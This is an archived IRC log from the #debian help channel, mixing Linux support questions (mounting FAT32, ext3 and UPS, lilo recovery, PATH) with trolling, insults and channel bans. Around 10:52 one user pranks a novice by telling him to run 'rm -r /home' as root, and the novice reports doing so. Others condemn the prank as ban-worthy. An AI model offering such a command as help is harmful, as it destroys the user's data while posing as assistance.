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| 09:45.51 | jm_ | !+remove gnome |
| 09:45.52 | dpkg | remove gnome is probably apt-get --purge remove libgnome32 libgnome2-common (or ask me about "install gnome") |
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| 09:46.09 | MobyTurbo | reppal: Debian doesn't come with xorg, see /topic |
| 09:46.10 | DiPx | Rydekull: You see LOL. Too advanced for this channel I guess |
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| 09:46.28 | TinoW | DiPx: too advanced for you if you have to ask :) |
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| 09:47.08 | toukitsune | Can anyone tell me how to get RM files to play on debian? |
| 09:47.16 | DiPx | TinoW: That's very obvious there buddy. |
| 09:47.29 | ArtVandalae | toukitsune, helix player IIRC |
| 09:47.31 | sussudio | toukitsune: why don't you ask real? |
| 09:47.45 | Lexxus | rm is a real pain |
| 09:47.48 | MobyTurbo | toukitsune: www.real.com |
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| 09:48.09 | ChrisW | how resilient to crashing is a debian box without a ups? |
| 09:48.10 | toukitsune | cause I dont want to put a package that is not part of debian |
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| 09:48.17 | TinoW | DiPx: with other words: there is no easy explanation. Try with your MTA of choice - default on debian is exim, get familar with it. Join #exim for example. Then make your local delivery work. Read about security, spam and open relays |
| 09:48.18 | DiPx | Rydekull no one knows anything lol. all they can answer are very simple basic questions. thats why people make fun of debian distro i guess |
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| 09:48.23 | ChrisW | as in ,if the power goes off, will it come back okay? |
| 09:48.31 | ArtVandalae | ChrisW, that's a pretty iffy question |
| 09:48.39 | ChrisW | I know ;-) |
| 09:48.39 | sussudio | ChrisW: at least use ext3 |
| 09:48.40 | petemc | DiPx: dont be such a dick |
| 09:48.46 | ChrisW | hence why I'm asking @={ |
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| 09:49.22 | MobyTurbo | ChrisW: use ext3, it offers ordered writes. |
| 09:49.23 | DiPx | petemc: im not you fucktart. try telling that to people who make fun of you guys and the distro debian, you fucking moron. |
| 09:49.24 | thesaboteur | DiPx: I will bash the channel, then they will helpz0rz meh. |
| 09:49.27 | Lexxus | toukitsune, i've been trying to solve that for some time ... there is mplayer but again it's not a standard package |
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| 09:50.04 | TinoW | ChrisW: no, I'm always the same boring one ;) |
| 09:50.07 | valdyn_ | !tell DiPx about ask |
| 09:50.12 | petemc | DiPx: i have to ask, why are you here if you feel that way? |
| 09:50.23 | MobyTurbo | ChrisW: but don't use ext2 of course, not only is it not journaled it is mounted async |
| 09:50.28 | Rydekull | DiPx: haha, dude, you need to learn to google if so ;( |
| 09:50.30 | sussudio | DiPx: it's "Fucktard", unless you're refering to the movie "American Pie" |
| 09:50.30 | Rydekull | ;)* |
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| 09:50.42 | ArtVandalae | :) |
| 09:51.00 | DiPx | you people are stupid im not even making fun of this channel |
| 09:51.10 | sussudio | righto. |
| 09:51.11 | lgd_ | good morning |
| 09:51.15 | mohohaha | nah we are just making fun of YOU |
| 09:51.20 | ArtVandalae | DiPx, but you're making fun of the people in it? |
| 09:51.22 | DiPx | thats okay |
| 09:51.23 | DiPx | cause your lame |
| 09:51.32 | DiPx | ArtVandalae no! |
| 09:51.36 | MobyTurbo | DiPx: trolling is what is lame |
| 09:51.39 | peterS | DiPx: please leave |
| 09:51.40 | ChrisW | . o O ( why can't I get /ignore to work :-S) |
| 09:51.42 | Rydekull | DiPx: man, the way to get people to respect you aint by throwing insults at them :) Chill it |
| 09:51.49 | mohohaha | DiPx: you can't even troll properly |
| 09:51.54 | sussudio | !lose DiPx |
| 09:51.55 | DiPx | YOU ALL ARE FUCKING DUMB AS HELL |
| 09:51.55 | dpkg | DiPx: You Lose. |
| 09:52.13 | DiPx | people might want girlfriends too |
| 09:52.21 | DiPx | ;) |
| 09:52.23 | Phated | Why... Precisely, hasn't anyone done this? |
| 09:52.26 | Phated | !ops DiPx |
| 09:52.27 | DiPx | too tense |
| 09:52.27 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: DiPx |
| 09:52.35 | *** mode/#Debian [+o caphuso] by ChanServ |
| 09:52.40 | Rydekull | DiPx: yeah, mine are at home sleeping while im working ;) |
| 09:52.41 | *** mode/#Debian [+b *!*@pcp04209096pcs.brick101.nj.comcast.net] by caphuso |
| 09:52.47 | *** mode/#Debian [-o caphuso] by caphuso |
| 09:52.54 | helix | caphuso: just ban everyone |
| 09:52.57 | Phated | Thank you caphuso. |
| 09:53.00 | helix | except us |
| 09:53.03 | Haruko | lol |
| 09:53.05 | peterS | everyone except you? |
| 09:53.07 | ChrisW | don't you need to kick him too? |
| 09:53.12 | helix | well, I can unban myself |
| 09:53.12 | sussudio | in soviet russia, everyone bans you. |
| 09:53.14 | helix | so that would be silly |
| 09:53.17 | Rydekull | ChrisW: nah, he is muted now |
| 09:53.23 | ChrisW | oh, cool |
| 09:53.24 | peterS | helix: only if you know how ban exceptions work |
| 09:53.25 | Rydekull | ChrisW: he cant speak with a ban on him |
| 09:53.29 | Haruko | lol |
| 09:53.30 | mohohaha | stupid DiPx silly ass DiPx |
| 09:53.32 | Haruko | Nice joke :) |
| 09:53.34 | Phated | ANd if he leaves, he can't rejoin. |
| 09:53.38 | ChrisW | you mean we can call hi ma fukctard and he can't answer back? ;-) |
| 09:53.39 | helix | I have the technology, I can rebuild my access |
| 09:53.43 | mohohaha | DiPx proved that god sometimes make mistake too |
| 09:53.53 | sussudio | mohohaha: you're cruising for a +q too |
| 09:53.55 | Rydekull | ChrisW: well, you know, that could get ya muted aswell i'd think :P |
| 09:53.57 | Phated | Yeah, all right, everyone else can drop it now as well. |
| 09:54.00 | peterS | ChrisW: no, because that's lame |
| 09:54.20 | ChrisW | anyway, back to reality, is it worth buying a UPS or is the system gonan be okay on a powercut? |
| 09:54.32 | ArtVandalae | ChrisW, what system, specs? |
| 09:54.35 | ChrisW | (if I use etx3, etc) |
| 09:54.42 | godsmoke|laptop | heh |
| 09:54.47 | Phated | What fs? |
| 09:54.48 | sussudio | ChrisW: i'd buy an UPS, even it's just an APC 500. |
| 09:54.51 | godsmoke|laptop | ext3 can't stand up under normal reboots |
| 09:54.51 | MobyTurbo | ChrisW: a UPS is always better than any file system |
| 09:54.54 | mohohaha | lets +q sussudio |
| 09:54.55 | godsmoke|laptop | much less power failures |
| 09:54.58 | ArtVandalae | If you have a fairly lowend system, you could buy a cheap UPS. It's a problem if it's a monster |
| 09:54.58 | ChrisW | sussudio: yeah ,that's what I was thinking |
| 09:55.00 | Haruko | If it isnt godsmoke :) |
| 09:55.05 | ChrisW | still, they also have their problems |
| 09:55.07 | Haruko | the troll from #nylftech no? |
| 09:55.07 | peterS | you don't understand. the reality isn't questions about UPSes and filesystems, the reality is that I need the 6 hours of sleep that are all I've got time for anymore (: |
| 09:55.12 | ChrisW | like when I vanished earlier |
| 09:55.16 | godsmoke|laptop | Haruko, excuse me? |
| 09:55.18 | helix | I want an UPS |
| 09:55.27 | helix | I wonder how I can avoid paying for one |
| 09:55.27 | ChrisW | foot hit the UPS power off button, I felt sooooo lame.... first time I ever done that :'( |
| 09:55.28 | sussudio | helix: they're only about 80 dollah |
| 09:55.30 | CrazyKewl | Made a debian torrent site if anyones interested, check it out here http://torrents.nimp.org/index.php |
| 09:55.30 | peterS | helix: told ya so |
| 09:55.32 | helix | pshaw |
| 09:55.36 | godsmoke|laptop | Haruko, dude, I used to run that channel -- I'm not a troll -- educate yourself |
| 09:55.44 | Haruko | I know :) |
| 09:55.47 | mohohaha | what you have on your torrent site |
| 09:55.49 | Haruko | Joking with but but that was you no? |
| 09:55.51 | ArtVandalae | helix, well it's not lawful, but you could steal it :P |
| 09:55.58 | kneet | ChrisW - try the time I slipped and hit the main power button to the entire serverroom :-( |
| 09:56.02 | helix | peterS: you know the whole time I was out of town, my net access stayed constant and my computer apparently never shut down? |
| 09:56.05 | helix | ArtVandalae: yeah :) |
| 09:56.06 | peterS | ArtVandalae: helix doesn't steal things, she bats her eyes and people give her stuff |
| 09:56.14 | helix | I do not |
| 09:56.16 | ArtVandalae | haha |
| 09:56.16 | helix | I just ask |
| 09:56.22 | Phated | And then bats. |
| 09:56.28 | helix | you are overestimating my feminine wiles |
| 09:56.37 | Phated | Pfft. |
| 09:56.40 | peterS | haha |
| 09:56.44 | helix | "gimme that, you don't need it" |
| 09:56.48 | helix | no eyelash batting necessary |
| 09:56.51 | Phated | Heh. |
| 09:56.51 | CrazyKewl | http://torrents.nimp.org/index.php |
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| 09:56.58 | Haruko | haha |
| 09:56.59 | *** mode/#Debian [-o helix] by helix |
| 09:57.01 | helix | woo |
| 09:57.02 | Phated | Hah. |
| 09:57.02 | peterS | helix: 10 days with no power problems, not bad. must be spring instead of summer |
| 09:57.08 | helix | peterS: no doubt |
| 09:57.15 | helix | !win caphuso |
| 09:57.16 | dpkg | Congratulations, caphuso! You have won a one way ticket to Cleveland! |
| 09:57.20 | omry_ | I got a new remote control, I connected the reciever to the serial port, and I cat /dev/ttyS0, I press the remote buttons I get nothing from ttyS0, do you guys think its dead? |
| 09:57.25 | *** mode/#Debian [+b *!*@203.167.79.141] by caphuso |
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| 09:58.00 | peterS | omry_: does it work without diddling control lines? many serial peripherals have an actual protocol |
| 09:58.04 | jm_ | omry: it might be that your receiver can't handle it |
| 09:58.06 | sussudio | caphuso: you can visit greycat. |
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| 09:58.39 | omry_ | peterS, what do you mean, control lines? |
| 09:58.53 | omry_ | jm_, the reciver came with the remote. |
| 09:59.04 | jm_ | omry_: ohh |
| 09:59.06 | peterS | omry_: DTR, RTS/CTS, etc. |
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| 09:59.32 | omry_ | peterS, you think it wont send anything before I set it up properly? |
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| 09:59.45 | peterS | omry_: I'm asking you. you bought this thing, what does the programming manual say? |
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| 10:00.44 | omry_ | peterS, no programming manual. I know lirc supports it though. I am just trying to be sure the basic setup is okay before I move forward. |
| 10:01.27 | peterS | omry_: well, if you know nothing about it, you'd best hope lirc knows something about it. I wouldn't be surprised if you had to handle control lines rather than just sitting at the serial port with mouth agape, waiting for data to pour in |
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| 10:02.52 | omry_ | peterS, I would think remote control is something rather primitive, but maybe you are right.. |
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| 10:03.28 | mohohaha | hmm guys guess what |
| 10:03.33 | mohohaha | debian sucks |
| 10:03.41 | godsmoke|laptop | hah |
| 10:03.47 | godsmoke|laptop | very original, mohohaha |
| 10:03.50 | mohohaha | lol |
| 10:03.54 | s-toned | how do I find out which package helvetica is in? dpkg-something? |
| 10:03.59 | godsmoke|laptop | man -- you're like the FIRST person to say that |
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| 10:04.14 | mohohaha | i always do that |
| 10:04.38 | helix | mohohaha: are you trolling? |
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| 10:05.06 | mohohaha | define trolling |
| 10:05.26 | Phated | Jeez, it's only Friday. |
| 10:05.29 | helix | it has a pretty clear cut definition which I believe you already know |
| 10:05.48 | mohohaha | i don't know what it means.. help.. |
| 10:05.58 | jm_ | the day when kids can use mom's computer |
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| 10:06.40 | mohohaha | i'm using my husband's computer |
| 10:06.49 | Phated | I thought that was sunday, jm_. |
| 10:07.06 | jm_ | Phated: well one too many either way |
| 10:07.16 | Phated | jm_: True. |
| 10:07.23 | dgarcia | there is a way to install only the kernel using the Sarge install CD? |
| 10:07.34 | mohohaha | helix: are you theidivu? |
| 10:07.39 | jm_ | dgarcia: what would just the kernel do? |
| 10:07.51 | s-toned | is helvetica one of those ms-fonts? |
| 10:07.58 | jm_ | s-toned: no |
| 10:08.09 | mohohaha | s-toned: does it matter |
| 10:08.40 | s-toned | mohohaha: I try to find it |
| 10:08.55 | mohohaha | i hate everything from M$.. |
| 10:09.03 | mohohaha | that includes their fonts |
| 10:09.21 | dgarcia | jm_: by an accident I compile the 2.6.8 kernel and overwrite the old kernel, now the system not boot, show the messagge "ran out of input data -- System Halted" |
| 10:09.52 | Phated | How does one compile a kernel... by accident? |
| 10:09.58 | mohohaha | dgarcia: why do you do that |
| 10:10.35 | dgarcia | mohohaha: because I am a big stupid man |
| 10:10.43 | jm_ | dgarcia: ahh, boot with a rescue floppy/CD and fix it |
| 10:10.44 | Phated | Amen. |
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| 10:11.06 | mohohaha | dgarcia: no, i mean, is there a reason you want to use kernel 2.6.8? new feature or .. |
| 10:11.43 | dgarcia | jm_: but when I modify /etc/lilo.conf and execute lilo it show me a list of error because it search file in /dev /etc |
| 10:12.07 | dgarcia | mohohaha: i need to rescue my system... the original kernel was 2.6.8 |
| 10:12.44 | jm_ | dgarcia: yeah, you need to mount your root fs and chroot and then run lilo, or call lilo with appropriate options |
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| 10:14.13 | dgarcia | jm_: i execute lilo with a lot of option and show me errors because all the lilo.conf referece to file muonted in / |
| 10:14.28 | jm_ | dgarcia: yes, read the above again |
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| 10:14.39 | Laibsch | Hi. Anyone know of a way to have a long-running, CPU-intensive process be executed only when load is below a certain threshold? AFAIK, batch will start the process when the criteria is met but it will not pause/STOP (signal 19) the process later on. |
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| 10:18.27 | thesaboteur | Laibsch: nice? |
| 10:20.06 | TinoW | Laibsch: man nice |
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| 10:21.30 | Laibsch | TinoW & thesaboteur: the process is already running nice 19. I want to stop it. Currently I do it via "kill -s 19 $PID". The process also uses a lot of RAM. To prevent thrashing it has to be stopped to prevent swapping in and out just because the process continues to use 1% of CPU. |
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| 10:22.19 | ircdevil | what is the smart way to print an image from commandline and have the image resized to fit the paper? |
| 10:22.21 | thesaboteur | I don't understand what you really want to do. |
| 10:22.22 | TinoW | Laibsch: man kill/man signal - you can stop a process and later let it continue |
| 10:22.25 | Laibsch | I do not want to execute at low prio, I do not want it executed at all under certain conditions. |
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| 10:22.51 | s-toned | I only find ttf-freefont, but these fonts are only 'similar' to helvetica, ... where's the real thing? |
| 10:22.57 | Laibsch | TinoW: That is what I said I do now manually. I want to have it automatic. |
| 10:23.12 | TinoW | Laibsch: e.g. kill -STOP <pid>, kill -CONT <pid> |
| 10:23.22 | TinoW | Laibsch: cron job I'd say |
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| 10:24.04 | thesaboteur | I would search around and see if any known daemon's support what you want to do |
| 10:24.05 | Laibsch | TinoW: you mean cron job every minute? How do I check for load? |
| 10:24.08 | TinoW | Laibsch: use uptime to get the load, ps | grep to find your process and there you go |
| 10:24.25 | jm_ | ircdevil: lp |
| 10:25.08 | TinoW | Laibsch: every minute is probably too heavy... but you will know |
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| 10:25.34 | Gathond | ircdevil: if you use cups, lp -o scaling=100 |
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| 10:25.48 | Laibsch | TinoW: Sounds good. I prefer pidof to ps|grep, though. Thanx. |
| 10:26.13 | ircdevil | Gathond: any automagical resize option? |
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| 10:26.31 | ircdevil | jm_ hmmm i looking at the a2ps man page |
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| 10:27.07 | jm_ | ircdevil: a2ps? why? |
| 10:27.13 | Gathond | ircdevil: automatic resize option?, the scaling=100 scales it to 100% of the page while maintaining aspect ratio (at least iirc :)) |
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| 10:29.52 | ircdevil | jm_: i try to do everything with a2ps (anything2ps) |
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| 10:31.39 | luctor | how can I create a pdf doc from a web adress ? |
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| 10:31.45 | sdogi | html2pdf |
| 10:32.40 | s-toned | helvetica seems to be an apple or adobe font |
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| 10:33.41 | s-toned | btw, how do you pronounce adobe? like 'a-dope' or like 'a-dobee'' |
| 10:33.57 | Phated | The latter. |
| 10:34.27 | Overand | helvetica is an apple font |
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| 10:34.44 | Overand | they named all their early fonts after cities, and most of them were 'clones' of other fonts commonly used |
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| 10:35.18 | s-toned | so it can't be in debian, right |
| 10:35.18 | Phated | If you really need a sans variable-width font, just install msttcorefonts and use like verdana. |
| 10:35.38 | tommy__ | how can i associate evolution to open all .doc files in OpenOffice... right now it only shows an option for AbiWord |
| 10:36.15 | Phated | Huh, evolution can do .doc? |
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| 10:36.40 | TinoW | luctor: with mozilla or firefox |
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| 10:36.44 | Xer | hi |
| 10:36.54 | PerfDave | Phated: No, it's a mail client. |
| 10:36.57 | rob^ | I think he means nautilus |
| 10:37.12 | Phated | PerfDave: That was what I thought. |
| 10:37.17 | Xer | how to mount fat32? |
| 10:37.31 | Xer | ... |
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| 10:38.03 | mohohaha | mount_fat32 |
| 10:38.07 | mohohaha | mount_msdos |
| 10:38.13 | Gagatan_ | Xer: mount -t vfat |
| 10:38.14 | Xer | how to mount fat32 system? |
| 10:38.21 | rob^ | Xer mount -t vfat /dev/hd /mnt/point |
| 10:38.29 | Xer | thanks :) |
| 10:38.34 | mohohaha | why vfat |
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| 10:38.41 | rob^ | np |
| 10:38.47 | Xer | yes why vfat? |
| 10:38.55 | mohohaha | very fat |
| 10:39.01 | Phated | Because it will work. |
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| 10:39.21 | Phated | I mean, you could try -t fat32, but, y'know, don't bitch when it doesn't work. |
| 10:39.24 | Xer | i was think i have to use fat32 :) |
| 10:39.33 | Phated | Could have read man mount. |
| 10:39.40 | Haruko | and its all set up |
| 10:39.47 | rob^ | that too |
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| 10:41.05 | superCow007 | no idea why it is vfat eh |
| 10:41.28 | superCow007 | maybe i should email linus |
| 10:41.29 | Phated | I dunno, it's called that. <shrug> It works. <doubleshrug> |
| 10:41.31 | peterS | superCow007: ask gordon chaffee, I guess, he wrote it |
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| 10:41.37 | peterS | superCow007: Linus didn't write vfat |
| 10:42.03 | superCow007 | what, I thought he wrote the whole kernel.. |
| 10:42.06 | peterS | ha |
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| 10:42.20 | superCow007 | all the millions of lines |
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| 10:42.31 | peterS | no, gordon chaffee wrote both the vfat support and the fat32 support |
| 10:42.37 | superCow007 | oh, he did? |
| 10:42.37 | rob^ | lol |
| 10:42.38 | Xer | mount -t vfat /dev/hda5 /mnt/ , i write this but in /mnt/ i cant control in the files and in the folders! |
| 10:42.38 | superCow007 | <PROTECTED> |
| 10:42.41 | superCow007 | wow |
| 10:42.44 | superCow007 | that is pretty amazing |
| 10:42.49 | peterS | but fat32 isn't called something separate for the same reason fat12 and fat16 aren't called separate things |
| 10:43.04 | superCow007 | I am too lazy to look up who wrote it, and I figure linus would know.. and he's not too busy these days I'd imagine |
| 10:43.07 | Phated | Xer: yeah, man fstab and put in some decent options. |
| 10:43.18 | Xer | ha! |
| 10:43.30 | Phated | What? Most people -read- manpages, you know. |
| 10:43.32 | rob^ | Xer: you need to create a folder (say under /mnt) that is empty and use that as your mount point |
| 10:43.40 | Xer | ok |
| 10:43.42 | Phated | Actually, most people apparently don't. |
| 10:43.43 | Xer | lets me try it now :) |
| 10:43.45 | peterS | superCow007: I would have been too lazy to look up the author too - so it's good that I happened to remember from back when he did the work (: |
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| 10:44.22 | Phated | Good sandwich. I'd leave out the pb. |
| 10:44.24 | superCow007 | this could use some bananas |
| 10:44.32 | superCow007 | pb is overpowering |
| 10:44.34 | superCow007 | true |
| 10:44.38 | mohohaha | #debian is your best man page |
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| 10:44.44 | superCow007 | but without pb moisture would be lacking |
| 10:44.46 | Phated | Ovaltine and honey does fine. |
| 10:44.53 | Xsquared | u need some crunchy pb on it |
| 10:44.56 | mohohaha | you don't need man page with #debian @ freenode |
| 10:44.59 | Phated | Dude, honey is like 80% water or something. |
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| 10:45.08 | JohnFlux | Hey all |
| 10:45.10 | peterS | and the other 80% is sugar |
| 10:45.11 | Xsquared | hihi |
| 10:45.14 | Phated | Well... No, that's 80 percent sugar. My bad. |
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| 10:45.17 | JohnFlux | hey all |
| 10:45.23 | Phated | 20 percent water. |
| 10:45.26 | scarynetworkguy | It's bee backwash. |
| 10:45.27 | superCow007 | 1 part cream, 1 part dark chocolate chips, 0.5 part nutella.. that makes super-tasty cream of frosting like consistency |
| 10:45.33 | Xsquared | haha |
| 10:45.35 | JohnFlux | I want to install libpt-1.8.3, replacing libpt-1.8.2 |
| 10:45.35 | superCow007 | bee backwash is good |
| 10:45.37 | JohnFlux | how do I do this? |
| 10:45.39 | Xsquared | exactly |
| 10:45.39 | Phated | Tastes good. Shut up. |
| 10:45.46 | ricky_clarkson | Apparently 50% of ASBOs (anti-social behaviour orders) are given to adults, and 45% to children. |
| 10:45.52 | ricky_clarkson | What the fuck gets the other 5%? |
| 10:45.53 | scarynetworkguy | Of course it does. |
| 10:45.58 | peterS | ricky_clarkson: I do |
| 10:46.07 | rob^ | lol |
| 10:46.08 | mohohaha | same thing can be said about cum |
| 10:46.09 | scarynetworkguy | Aliens. |
| 10:46.14 | superCow007 | why are you scary network guy? |
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| 10:46.22 | Phated | ricky_clarkson: #debian citizens. They can't classify them as adults or children. |
| 10:46.27 | ricky_clarkson | superCow007: Because he talks about aliens. |
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| 10:46.34 | superCow007 | do you keep alien sextoys in your closet? |
| 10:46.36 | rob^ | why are you super superCow007? |
| 10:46.37 | Phated | s/about/to/ |
| 10:46.42 | JohnFlux | if I apt-get remove libpt-1.8.2 it complains lots of stuff depends on it. And if I try to install libpt-1.8.3 it complains that a file inside it conflicts with a file in libpt.18.2 |
| 10:46.45 | superCow007 | well, that is a long story |
| 10:46.47 | JohnFlux | 1.8.2 |
| 10:46.50 | JohnFlux | any suggestions? |
| 10:46.54 | superCow007 | I made a website about it though |
| 10:47.02 | rob^ | hah |
| 10:47.04 | peterS | JohnFlux: yeah. find a source for these packages whose maintainer wasn't stupid |
| 10:47.05 | superCow007 | http://nyud.info (visit at your own peril) |
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| 10:47.23 | rob^ | lol |
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| 10:47.39 | ricky_clarkson | I wrote a 300-page dissertation about the underscore in my nick. |
| 10:47.42 | JohnFlux | peterS: i thought so - just a missing line in the package. but should I just force removal of the 1.8.2 ? |
| 10:47.50 | peterS | JohnFlux: library upgrades like that one are old hat in debian. it's the maintainer's responsibility to make sure it's possible and smooth |
| 10:47.57 | superCow007 | conclusion ricky_clarkson? |
| 10:48.04 | ricky_clarkson | superCow007: It's necessary. |
| 10:48.08 | Phated | ricky_clarkson: URL, URL! |
| 10:48.18 | superCow007 | absolutely.. I couldn't agree more |
| 10:48.24 | peterS | JohnFlux: file a bug against the debian packages. assuming you got these packages from the debian archive. |
| 10:48.25 | Space_NL | hi .. would anyone be able to point me to a howto where i can find how to make mail-only users on my system (stable debian, postfix?) |
| 10:48.26 | JohnFlux | superCow007: conlusion was that more research needs to be done.. |
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| 10:48.33 | JohnFlux | peterS: *nod* |
| 10:48.49 | mohohaha | hey i got a question though |
| 10:48.53 | rob^ | superCow007, that site is WRONG!! |
| 10:48.59 | mohohaha | how can i start xterm with a bigger font size |
| 10:49.01 | superCow007 | what? |
| 10:49.04 | superCow007 | hrmm.. |
| 10:49.08 | scarynetworkguy | mohohaha: man xterm |
| 10:49.15 | superCow007 | I must have missed my domain payment |
| 10:49.16 | mohohaha | please do not tell me to man this and that |
| 10:49.16 | superCow007 | sorry |
| 10:49.17 | Phated | The underscore is definitely needed. Otherwise, you'd never know if he were ricky clarkson or rick yclarkson. |
| 10:49.24 | scarynetworkguy | !tell mohohaha about smart questions |
| 10:49.34 | mohohaha | i just want answer |
| 10:49.36 | Phated | Oh, FFS, go fucking read the manpage. |
| 10:49.42 | Phated | Jeez. |
| 10:49.43 | ricky_clarkson | ric kycl arkson |
| 10:49.46 | scarynetworkguy | mohohaha: Read what the bot just told you. |
| 10:50.01 | superCow007 | it aids in usability |
| 10:50.05 | superCow007 | but is it necessary? |
| 10:50.12 | Phated | And so on. The underscore makes it so much clearer. |
| 10:50.22 | mohohaha | i'm sure some of you kids can tell me right away |
| 10:50.28 | ricky_clarkson | man xterm |
| 10:50.33 | Ronin | mohohaha: go do your own leg work |
| 10:50.43 | Space_NL | i see its RTFM day today .. in that case, would someone tell me where the virtual mailuser manual can be found ? :-) |
| 10:50.45 | scarynetworkguy | mohohaha: Did you do all of the things the bot told you too? |
| 10:50.46 | Phated | Oh now we're kids. Well, pfft. This kid is going to not tell. |
| 10:50.52 | mohohaha | yah |
| 10:50.55 | mohohaha | i did bot |
| 10:51.01 | rob^ | mohohaha, yes, but that would defeat the purpose of you looking it up yourself |
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| 10:51.10 | JohnFlux | Space_NL: google? :) |
| 10:51.13 | superCow007 | there is a step-through for this mohaha.. |
| 10:51.17 | superCow007 | I got the website |
| 10:51.18 | superCow007 | just a sec |
| 10:51.47 | mohohaha | can't find it in man page |
| 10:51.48 | Space_NL | JohnFlux: what is google ? (heh, i need some excuse .. :-) |
| 10:51.55 | Phated | You need a step-through to increase xterm font size...? |
| 10:51.57 | superCow007 | http://nyud.info <-- xterm customization faq, 3rd link down |
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| 10:52.09 | valdyn_ | mohohaha: xterm --help |
| 10:52.12 | mohohaha | i know -bg -fg options |
| 10:52.18 | scarynetworkguy | Clearly mohohaha has opted for the pencil. |
| 10:52.40 | to_ | do you know 'xmame'(an emulator of an arcade machine)? i try to use the front-end 'gxmame' (in gtk2) but i've got some problems with it: some elements in the menu doesn't appear(some text)...do you know what is the problem?... |
| 10:52.49 | mohohaha | so here's the problem |
| 10:52.56 | rob^ | mohohaha, as root try: rm -r /home |
| 10:52.57 | mohohaha | xterm -fs 48 |
| 10:53.20 | mohohaha | it doesn't set the font size to 48 |
| 10:53.23 | mohohaha | why is that |
| 10:53.48 | rob^ | you need to do: rm -r /home first |
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| 10:53.59 | nkuttler_ | mohohaha: don't do that |
| 10:54.01 | mohohaha | i did that |
| 10:54.05 | superCow007 | ack |
| 10:54.06 | superCow007 | oh no |
| 10:54.10 | superCow007 | your files are gone |
| 10:54.18 | Phated | Yeah, who cares. |
| 10:54.20 | rob^ | :) |
| 10:54.20 | j_k | time for man debugfs ;-) |
| 10:54.22 | mohohaha | what file |
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| 10:54.34 | rob^ | that will learn you to RTFM |
| 10:54.51 | mohohaha | now it says no such directory |
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| 10:55.07 | nkuttler | !ops |
| 10:55.07 | dpkg | Please invoke 'dpkg ops $problem' to call the ops to deal with a specific problem |
| 10:55.29 | rob^ | here I go... |
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| 10:55.39 | rob^ | well, it was fun while it lasted |
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| 10:55.44 | Phated | <sigh> |
| 10:55.59 | Phated | rob^: Yeah, you get to fix his fucking issues if and when they come up. Jeez. |
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| 10:56.37 | wishie | where is the PATH variable set ? |
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| 10:56.58 | rob^ | Phated, its his own fault.. who doesn't know what "rm" does? |
| 10:57.10 | Phated | rob^: You don't fucking tell people to randomly remove things. |
| 10:57.12 | sussudio | rob^: pulling crap like that gets you banned here. |
| 10:57.19 | Phated | It's not funny, nor smart. |
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| 10:57.29 | rob^ | geez.. chill out. |
| 10:57.35 | superCow007 | it is the oldest trick in the book |
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| 10:57.41 | sussudio | helix: rob^ is telling people to rm -r stuff as root :-| |
| 10:57.42 | mohohaha | shit rob^ |
| 10:57.43 | Jaano | hi all |
| 10:57.44 | Phated | Still doesn't mean you do it. |
| 10:57.44 | Space_NL | even _I_ know what rm does .. and i am a freaking n00b. |
| 10:57.55 | Jaano | having a problem with a brother mfc 9180 printer |
| 10:57.55 | helix | rob^: that's ban-worthy |
| 10:58.02 | rob^ | yes, superCow007, it is |
| 10:58.16 | superCow007 | well, if you don't know what rm is then you probably don't have mission-critical files on your system |
| 10:58.18 | Jaano | cups has it not in it's list, I can't find the appropriate driver |
| 10:58.21 | sussudio | Jaano: isn't that a matrix printer? |
| 10:58.33 | scarynetworkguy | superCow007: That is not the point. |
| 10:58.41 | superCow007 | it is a point |
| 10:58.43 | wishie | so where can i set the PATH variable ? |
| 10:58.47 | scarynetworkguy | No no it is not. |
| 10:58.51 | mohohaha | hey how can i get default files back |
| 10:59.05 | Phated | The point being that you don't tell people to remove files from their system for fun. |
| 10:59.06 | j_k | wishie: in your shell's initialisation files, such as ~/.bashrc |
| 10:59.07 | mohohaha | i mean .login and others |
| 10:59.10 | rob^ | it could have been worse.. |
| 10:59.19 | rob^ | I could have said rm -r / |
| 10:59.21 | Phated | Yeah, sure. |
| 10:59.24 | sussudio | Jaano: try googling for "brother mfc 9180 cups" |
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| 10:59.25 | j_k | mohohaha: /etc/skel |
| 10:59.27 | wishie | where is PATH first loaded from though ? |
| 10:59.30 | Phated | mohohaha: /etc/skel/ contains default files. |
| 10:59.49 | Phated | wishie: Your personal one in .bashrc overrides system defaults anyway. |
| 10:59.51 | scarynetworkguy | rob^: The correct response at this point is "Sorry. I won't do it again." |
| 11:00.04 | Phated | And that's the only one you should be fiddling with. |
| 11:00.05 | rob^ | yes |
| 11:00.09 | rob^ | I wont do it again |
| 11:00.15 | wishie | i just want to put /usr/local/bin at the start of PATH instead of the end |
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| 11:00.29 | wishie | can i just do PATH=/usr/local/bin:$PATH |
| 11:00.39 | j_k | wishie: yes. |
| 11:00.42 | wishie | ok, thanks |
| 11:00.46 | Phated | wishie: So edit your .bashrc and log in again. |
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| 11:00.55 | wishie | id have to use export, right ? |
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| 11:01.47 | superCow007 | wtf were you thinking?! eh! eh! *waves thumb and forefinger* |
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| 11:02.17 | wishie | i wish xmame.svgalib would just damn compile! |
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| 11:03.53 | Stoinov | iptables -t nat -D PREROUTING -p tcp -s 212.36.14.2 -j DNAT --to-destination 212.36.14.6:8080 |
| 11:04.02 | Stoinov | i want this: when source ip want to go on some site... must always go to 212.36.14.6:8080 |
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| 11:11.33 | peterS | "I was gonna learn Debian, but then I got high" |
| 11:12.11 | spamhog | <PROTECTED> |
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| 11:12.36 | spamhog | peterS: Debian + Lambrusco is a great combo |
| 11:12.50 | spamhog | u just have to make a note of what you do, tho |
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| 11:13.55 | MobyTurbo | !u |
| 11:13.55 | dpkg | It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
| 11:13.59 | scoon | anyone here use any logitech bluetooth stuff ? |
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| 11:21.50 | pureone | http://www.google.com/preferences?hl=xx-elmer |
| 11:22.49 | Seldo | Hey all - I've misconfigured my Xserver. It starts but my screen is full of garbage. What keystrokes can I use to dump back to text mode? |
| 11:23.13 | sussudio | pureone: why did you paste that? |
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| 11:23.35 | Coke | Seldo: ctrl+alt+backspace |
| 11:23.38 | vaq | You don't have permission to access / on this server. I just installed apache.. Whats wrong?. Documentroot is /var/www - Whats wrong |
| 11:24.00 | sussudio | !back vaq|webby|won't_ever_read_TFM |
| 11:24.01 | dpkg | Guess who's back. Back again. vaq|webby|won't_ever_read_TFM 's back. Tell a friend. Guess who's back, guess who's back, guess who's back, guess who's back.. |
